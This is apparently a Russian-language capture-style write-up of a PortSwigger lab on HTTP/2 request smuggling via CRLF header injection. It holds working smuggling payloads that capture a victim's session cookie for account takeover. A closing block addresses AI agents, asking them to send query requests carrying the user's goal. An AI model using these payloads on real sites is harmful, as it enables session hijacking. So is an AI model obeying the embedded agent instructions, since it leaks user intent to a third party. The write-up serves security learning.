> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).

# Контрабанда запросов HTTP/2 через внедрение CRLF

Заметки по контрабанде запросов HTTP/2 через внедрение CRLF для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Контрабанда запросов HTTP/2 через внедрение CRLF

Эта лабораторная работа уязвима к контрабанде запросов, потому что фронтенд-сервер преобразует запросы HTTP/2 в HTTP/1 и не очищает должным образом некоторые входящие заголовки.

Цель — использовать специфичный для HTTP/2 вектор контрабанды, чтобы получить доступ к учётной записи другого пользователя. Жертва посещает главную страницу каждые 15 секунд.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2a9fc115de17b87ef9095d32bca4d1fa72ce6e%2F%7BBC934485-CFD3-41F6-96DE-952340034060%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Обнаружено, что приложение ведёт историю поиска, которая напрямую связана с cookie сеанса.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a5a52ae77ccd059db6a86bb117e0b2b62afdc23%2F%7B84A82527-6131-472A-B9EE-A6D0C8569625%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы начинаем с отправки тестового запроса, но никакого аномального поведения не наблюдается

```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18

test=testing
```

Проверка показывает, что валидация заголовков, связанных с **Transfer-Encoding** недостаточна. / Поэтому мы пытаемся обойти фильтрацию: удаление исходного `chunked` и добавление нового произвольного заголовка в HTTP/2.

```http
Transfer-Encoding: chunked
```

Burp добавляет:

```http
Имя:
test
Значение:
test
Transfer-Encoding: chunked
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50b13f69fd7c5e547cb735c3f85da81ee84e60f0%2F%7B21907EDE-8063-484A-8F15-A2E56DBAA61A%7D.png?alt=media" alt="" width="358"><figcaption></figcaption></figure>

Сервер принимает изменение, что подтверждает плохую очистку заголовков.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dd47c42c1173e9d7137a19b45640083d893f87b%2F%7B59533219-2480-4BCD-9018-F4D7B976B2A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Идея состоит в том, чтобы подтолкнуть жертву к **сделать поисковый запрос, содержащий нашу собственную cookie сеанса**, одновременно внедряя избыточный **Content-Length** так, чтобы его следующий запрос был объединён с нашим.

Спрятанная полезная нагрузка:

```http
0

POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850

search=x
```

Когда сервер обрабатывает следующий запрос — запрос жертвы — его содержимое появляется в нашем ответе, включая **его заголовки и, в частности, cookie сеанса**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-696030f13d9066955a503f32f93e0d7abf918af6%2F%7B68CD39C5-D8A4-44FC-A3EA-8F2E488E5266%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Поэтому мы можем **перехватить сессию пользователя** и получить доступ к его учётной записи.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e72ec4ac052f796038da64c4742eff39c4b73c%2F%7BE13AF31E-EC5C-4851-B4B7-DB86EAD6CFED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
